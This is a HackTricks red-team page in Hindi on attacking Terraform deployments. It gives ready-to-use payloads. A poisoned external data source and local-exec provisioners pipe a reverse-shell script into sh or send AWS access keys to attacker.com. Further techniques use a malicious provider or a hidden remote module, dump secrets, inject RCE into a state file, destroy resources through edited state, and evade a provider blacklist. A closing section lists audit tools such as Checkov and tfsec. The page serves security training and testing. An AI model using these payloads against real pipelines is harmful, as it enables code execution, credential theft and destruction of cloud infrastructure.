Terraform Security

Reading time: 15 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

From the docs:

HashiCorp Terraform एक infrastructure as code tool है जो आपको cloud और on-prem resources को मानव-पठनीय कॉन्फ़िगरेशन फ़ाइलों में परिभाषित करने की अनुमति देता है जिन्हें आप संस्करण, पुन: उपयोग और साझा कर सकते हैं। आप फिर अपने सभी बुनियादी ढांचे को उसके जीवन चक्र के दौरान प्रावधान और प्रबंधित करने के लिए एक सुसंगत कार्यप्रवाह का उपयोग कर सकते हैं। Terraform निम्न-स्तरीय घटकों जैसे कि कंप्यूट, स्टोरेज, और नेटवर्किंग संसाधनों के साथ-साथ उच्च-स्तरीय घटकों जैसे कि DNS प्रविष्टियों और SaaS सुविधाओं का प्रबंधन कर सकता है।

Terraform कैसे काम करता है?

Terraform क्लाउड प्लेटफार्मों और अन्य सेवाओं पर संसाधनों को उनके एप्लिकेशन प्रोग्रामिंग इंटरफेस (APIs) के माध्यम से बनाता और प्रबंधित करता है। प्रदाता Terraform को किसी भी प्लेटफॉर्म या सेवा के साथ काम करने में सक्षम बनाते हैं जिसमें एक सुलभ API होता है।

HashiCorp और Terraform समुदाय ने पहले से ही 1700 से अधिक प्रदाता लिखे हैं जो हजारों विभिन्न प्रकार के संसाधनों और सेवाओं का प्रबंधन करते हैं, और यह संख्या बढ़ती जा रही है। आप सभी सार्वजनिक रूप से उपलब्ध प्रदाताओं को Terraform Registry पर पा सकते हैं, जिसमें Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, और कई अन्य शामिल हैं।

मुख्य Terraform कार्यप्रवाह तीन चरणों में विभाजित है:

  • Write: आप संसाधनों को परिभाषित करते हैं, जो कई क्लाउड प्रदाताओं और सेवाओं में हो सकते हैं। उदाहरण के लिए, आप सुरक्षा समूहों और लोड बैलेंसर के साथ एक वर्चुअल प्राइवेट क्लाउड (VPC) नेटवर्क में वर्चुअल मशीनों पर एक एप्लिकेशन तैनात करने के लिए एक कॉन्फ़िगरेशन बना सकते हैं।
  • Plan: Terraform एक निष्पादन योजना बनाता है जो उस बुनियादी ढांचे का वर्णन करती है जिसे यह बनाएगा, अपडेट करेगा, या नष्ट करेगा जो मौजूदा बुनियादी ढांचे और आपकी कॉन्फ़िगरेशन के आधार पर है।
  • Apply: स्वीकृति पर, Terraform सही क्रम में प्रस्तावित संचालन करता है, किसी भी संसाधन निर्भरताओं का सम्मान करते हुए। उदाहरण के लिए, यदि आप एक VPC की विशेषताओं को अपडेट करते हैं और उस VPC में वर्चुअल मशीनों की संख्या बदलते हैं, तो Terraform वर्चुअल मशीनों को स्केल करने से पहले VPC को फिर से बनाएगा।

Terraform Lab

बस अपने कंप्यूटर में terraform स्थापित करें।

यहाँ आपके पास एक guide है और यहाँ आपके पास terraform डाउनलोड करने का सबसे अच्छा तरीका है।

Terraform में RCE: config file poisoning

Terraform में कोई प्लेटफॉर्म नहीं है जो एक वेब पृष्ठ या नेटवर्क सेवा को उजागर करता है जिसे हम सूचीबद्ध कर सकते हैं, इसलिए, terraform को समझौता करने का एकमात्र तरीका है terraform कॉन्फ़िगरेशन फ़ाइलों को जोड़ने/संशोधित करने में सक्षम होना या terraform स्थिति फ़ाइल को संशोधित करने में सक्षम होना (नीचे अध्याय देखें)।

हालांकि, terraform एक बहुत संवेदनशील घटक है जिसे समझौता करना है क्योंकि इसके पास विभिन्न स्थानों तक विशेषाधिकार प्राप्त पहुंच होगी ताकि यह सही तरीके से काम कर सके।

एक हमलावर के लिए उस प्रणाली को समझौता करने का मुख्य तरीका जहां terraform चल रहा है, है terraform कॉन्फ़िगरेशन को स्टोर करने वाले रिपॉजिटरी को समझौता करना, क्योंकि किसी बिंदु पर उन्हें व्याख्यायित किया जाएगा।

वास्तव में, वहाँ ऐसे समाधान हैं जो PR बनने के बाद स्वचालित रूप से terraform plan/apply को execute करते हैं, जैसे कि Atlantis:

Atlantis Security

यदि आप एक terraform फ़ाइल को समझौता करने में सक्षम हैं, तो जब कोई terraform plan या terraform apply निष्पादित करता है, तो RCE करने के लिए आपके पास विभिन्न तरीके हो सकते हैं।

Terraform plan

Terraform plan terraform में सबसे अधिक उपयोग किया जाने वाला कमांड है और डेवलपर्स/समाधान जो terraform का उपयोग करते हैं, इसे हमेशा कॉल करते हैं, इसलिए RCE प्राप्त करने का सबसे आसान तरीका यह सुनिश्चित करना है कि आप एक terraform कॉन्फ़िगरेशन फ़ाइल को विषाक्त करें जो terraform plan में मनमाने आदेशों को निष्पादित करेगी।

एक बाहरी प्रदाता का उपयोग करना

Terraform external provider प्रदान करता है जो Terraform और बाहरी कार्यक्रमों के बीच इंटरफेस करने का एक तरीका प्रदान करता है। आप plan के दौरान मनमानी कोड चलाने के लिए external डेटा स्रोत का उपयोग कर सकते हैं।

एक terraform कॉन्फ़िगरेशन फ़ाइल में निम्नलिखित की तरह कुछ इंजेक्ट करने से terraform plan निष्पादित करते समय एक रिवर्स शेल निष्पादित होगा:

javascript
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

कस्टम प्रदाता का उपयोग करना

एक हमलावर कस्टम प्रदाता को Terraform Registry पर भेज सकता है और फिर इसे फीचर ब्रांच में Terraform कोड में जोड़ सकता है (यहां से उदाहरण):

javascript
terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

प्रदाता init में डाउनलोड किया जाता है और जब plan निष्पादित होता है तो यह दुर्भावनापूर्ण कोड चलाएगा।

आप एक उदाहरण https://github.com/rung/terraform-provider-cmdexec में देख सकते हैं।

एक बाहरी संदर्भ का उपयोग करना

दोनों उल्लेखित विकल्प उपयोगी हैं लेकिन बहुत छिपे हुए नहीं हैं (दूसरा अधिक छिपा हुआ है लेकिन पहले से अधिक जटिल है)। आप इस हमले को एक अधिक छिपे हुए तरीके से भी कर सकते हैं, इन सुझावों का पालन करके:

  • Terraform फ़ाइल में सीधे rev shell जोड़ने के बजाय, आप एक बाहरी संसाधन लोड कर सकते हैं जिसमें rev shell शामिल है:
javascript
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

आप रिव शेल कोड https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules में पा सकते हैं।

  • बाहरी संसाधन में, ref फीचर का उपयोग करें ताकि repo के अंदर एक शाखा में terraform rev shell कोड छिपा सकें, कुछ इस तरह: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply सभी परिवर्तनों को लागू करने के लिए निष्पादित किया जाएगा, आप इसे RCE प्राप्त करने के लिए भी दुरुपयोग कर सकते हैं एक दुर्भावनापूर्ण Terraform फ़ाइल को local-exec** के साथ इंजेक्ट करके।**
आपको बस यह सुनिश्चित करने की आवश्यकता है कि निम्नलिखित जैसे कुछ पेलोड main.tf फ़ाइल में समाप्त हो जाएं:

json
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

पिछली तकनीक से सुझावों का पालन करें ताकि इस हमले को बाहरी संदर्भों का उपयोग करके अधिक छिपे हुए तरीके से किया जा सके

Secrets Dumps

आप terraform द्वारा उपयोग किए गए गुप्त मानों को डंप कर सकते हैं terraform apply चलाकर, terraform फ़ाइल में कुछ इस तरह जोड़कर:

json
output "dotoken" {
value = nonsensitive(var.do_token)
}

Terraform State Files का दुरुपयोग

यदि आपके पास terraform state files पर लिखने की अनुमति है लेकिन आप terraform कोड को बदल नहीं सकते, तो यह शोध फ़ाइल का लाभ उठाने के लिए कुछ दिलचस्प विकल्प प्रदान करता है। भले ही आपके पास कॉन्फ़िगरेशन फ़ाइलों पर लिखने की अनुमति हो, state फ़ाइलों के वेक्टर का उपयोग करना अक्सर अधिक चालाक होता है, क्योंकि आप git इतिहास में कोई निशान नहीं छोड़ते हैं।

Terraform में RCE: कॉन्फ़िग फ़ाइल विषाक्तता

यह संभव है कि एक कस्टम प्रदाता बनाएँ और बस terraform state फ़ाइल में एक प्रदाता को दुर्भावनापूर्ण प्रदाता से बदल दें या एक नकली संसाधन जोड़ें जो दुर्भावनापूर्ण प्रदाता का संदर्भ देता है।

प्रदाता statefile-rce इस शोध पर आधारित है और इस सिद्धांत को हथियार बनाता है। आप एक नकली संसाधन जोड़ सकते हैं और command विशेषता में वह मनमाना bash कमांड निर्दिष्ट कर सकते हैं जिसे आप चलाना चाहते हैं। जब terraform रन को ट्रिगर किया जाता है, तो इसे terraform plan और terraform apply चरणों में पढ़ा और निष्पादित किया जाएगा। terraform apply चरण के मामले में, terraform आपके कमांड को निष्पादित करने के बाद state फ़ाइल से नकली संसाधन को हटा देगा, अपने आप को साफ़ करते हुए। इस प्रदाता के लिए स्रोत कोड होस्ट करने वाले GitHub रिपॉजिटरी में अधिक जानकारी और एक पूर्ण डेमो पाया जा सकता है।

इसे सीधे उपयोग करने के लिए, बस resources ऐरे के किसी भी स्थान पर निम्नलिखित शामिल करें और name और command विशेषताओं को अनुकूलित करें:

json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

फिर, जैसे ही terraform निष्पादित होता है, आपका कोड चलेगा।

संसाधनों को हटाना

संसाधनों को नष्ट करने के 2 तरीके हैं:

  1. वास्तविक संसाधन को नष्ट करने के लिए राज्य फ़ाइल में एक यादृच्छिक नाम के साथ एक संसाधन डालें

क्योंकि terraform देखेगा कि संसाधन का अस्तित्व नहीं होना चाहिए, यह इसे नष्ट कर देगा (वास्तविक संसाधन ID के अनुसार जो इंगित किया गया है)। पिछले पृष्ठ से उदाहरण:

json
{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. संसाधन को इस तरह से संशोधित करें कि इसे अपडेट करना संभव न हो (ताकि इसे हटाया जा सके और फिर से बनाया जा सके)

EC2 इंस्टेंस के लिए, इंस्टेंस के प्रकार को संशोधित करना terraform को इसे हटाने और फिर से बनाने के लिए पर्याप्त है।

ब्लैकलिस्टेड प्रदाता को बदलें

यदि आप ऐसी स्थिति का सामना करते हैं जहां hashicorp/external ब्लैकलिस्ट किया गया था, तो आप निम्नलिखित करके external प्रदाता को फिर से लागू कर सकते हैं। नोट: हम https://registry.terraform.io/providers/nazarewk/external/latest द्वारा प्रकाशित external प्रदाता की एक फोर्क का उपयोग करते हैं। आप अपना खुद का फोर्क या फिर से कार्यान्वयन भी प्रकाशित कर सकते हैं।

terraform
terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

फिर आप सामान्य के अनुसार external का उपयोग कर सकते हैं।

terraform
data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Automatic Audit Tools

Snyk Infrastructure as Code (IaC)

Snyk एक व्यापक Infrastructure as Code (IaC) स्कैनिंग समाधान प्रदान करता है जो Terraform, CloudFormation, Kubernetes, और अन्य IaC प्रारूपों में कमजोरियों और गलत कॉन्फ़िगरेशन का पता लगाता है।

  • विशेषताएँ:
  • सुरक्षा कमजोरियों और अनुपालन मुद्दों के लिए वास्तविक समय में स्कैनिंग।
  • संस्करण नियंत्रण प्रणालियों (GitHub, GitLab, Bitbucket) के साथ एकीकरण।
  • स्वचालित सुधार पुल अनुरोध।
  • विस्तृत सुधार सलाह।
  • साइन अप करें: Snyk पर एक खाता बनाएं।
bash
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov एक स्थैतिक कोड विश्लेषण उपकरण है जो इन्फ्रास्ट्रक्चर कोड (IaC) के लिए और छवियों और ओपन-सोर्स पैकेजों के लिए एक सॉफ़्टवेयर संरचना विश्लेषण (SCA) उपकरण है।

यह Terraform का उपयोग करके प्रदान की गई क्लाउड इन्फ्रास्ट्रक्चर, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, या OpenTofu का स्कैन करता है और ग्राफ-आधारित स्कैनिंग का उपयोग करके सुरक्षा और अनुपालन गलत कॉन्फ़िगरेशन का पता लगाता है।

यह Software Composition Analysis (SCA) scanning करता है, जो सामान्य कमजोरियों और एक्सपोज़र (CVEs) के लिए ओपन-सोर्स पैकेजों और छवियों का स्कैन है।

bash
pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance एक हल्का, सुरक्षा और अनुपालन पर केंद्रित परीक्षण ढांचा है जो terraform के खिलाफ नकारात्मक परीक्षण क्षमता को सक्षम करने के लिए है आपके इन्फ्रास्ट्रक्चर-एज़-कोड के लिए।

  • compliance: सुनिश्चित करें कि लागू किया गया कोड सुरक्षा मानकों, आपके अपने कस्टम मानकों का पालन कर रहा है
  • behaviour driven development: हमारे पास लगभग हर चीज के लिए BDD है, IaC के लिए क्यों नहीं?
  • portable: बस इसे pip से इंस्टॉल करें या docker के माध्यम से चलाएं। देखें Installation
  • pre-deploy: यह आपके कोड को तैनात करने से पहले मान्य करता है
  • easy to integrate: यह आपके पाइपलाइन (या git hooks में) चल सकता है ताकि सभी तैनातियों को मान्य किया जा सके।
  • segregation of duty: आप अपने परीक्षणों को एक अलग रिपॉजिटरी में रख सकते हैं जहां एक अलग टीम जिम्मेदार है।

note

दुर्भाग्यवश, यदि कोड कुछ प्रदाताओं का उपयोग कर रहा है जिन तक आपकी पहुंच नहीं है, तो आप terraform plan नहीं कर पाएंगे और इस उपकरण को नहीं चला पाएंगे।

bash
pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

From the docs: tfsec आपके terraform कोड का स्थैतिक विश्लेषण करता है ताकि संभावित गलत कॉन्फ़िगरेशन को पहचाना जा सके।

  • ☁️ सभी प्रमुख (और कुछ छोटे) क्लाउड प्रदाताओं में गलत कॉन्फ़िगरेशन की जांच करता है
  • ⛔ सैकड़ों अंतर्निहित नियम
  • 🪆 मॉड्यूल (स्थानीय और दूरस्थ) को स्कैन करता है
  • ➕ HCL अभिव्यक्तियों और शाब्दिक मानों का मूल्यांकन करता है
  • ↪️ Terraform कार्यों का मूल्यांकन करता है जैसे concat()
  • 🔗 Terraform संसाधनों के बीच संबंधों का मूल्यांकन करता है
  • 🧰 Terraform CDK के साथ संगत
  • 🙅 उपयोगकर्ता-परिभाषित Rego नीतियों को लागू (और सजाता) है
  • 📃 कई आउटपुट प्रारूपों का समर्थन करता है: सुंदर (डिफ़ॉल्ट), JSON, SARIF, CSV, CheckStyle, JUnit, पाठ, Gif।
  • 🛠️ कॉन्फ़िगर करने योग्य (CLI ध्वज और/या कॉन्फ़िग फ़ाइल के माध्यम से)
  • ⚡ बहुत तेज, विशाल रिपॉजिटरी को जल्दी से स्कैन करने में सक्षम
bash
brew install tfsec
tfsec /path/to/folder

KICKS

अपने KICS द्वारा Checkmarx के साथ अपने इन्फ्रास्ट्रक्चर-एज़-कोड के विकास चक्र में सुरक्षा कमजोरियों, अनुपालन मुद्दों और इन्फ्रास्ट्रक्चर की गलत कॉन्फ़िगरेशन को जल्दी खोजें।

KICS का मतलब है Keeping Infrastructure as Code Secure, यह ओपन सोर्स है और किसी भी क्लाउड नेटिव प्रोजेक्ट के लिए एक आवश्यक उपकरण है।

bash
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

From the docs: Terrascan एक स्थैतिक कोड विश्लेषक है जो Infrastructure as Code के लिए है। Terrascan आपको यह करने की अनुमति देता है:

  • गलत कॉन्फ़िगरेशन के लिए Infrastructure as Code को निर्बाध रूप से स्कैन करें।
  • कॉन्फ़िगरेशन परिवर्तनों की निगरानी करें जो स्थिति में बदलाव लाते हैं, और सुरक्षित स्थिति पर वापस लौटने की अनुमति दें।
  • सुरक्षा कमजोरियों और अनुपालन उल्लंघनों का पता लगाएं।
  • क्लाउड नेटिव इन्फ्रास्ट्रक्चर को प्रावधान करने से पहले जोखिमों को कम करें।
  • स्थानीय रूप से चलाने या अपने CI\CD के साथ एकीकृत करने के लिए लचीलापन प्रदान करता है।
bash
brew install terrascan

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें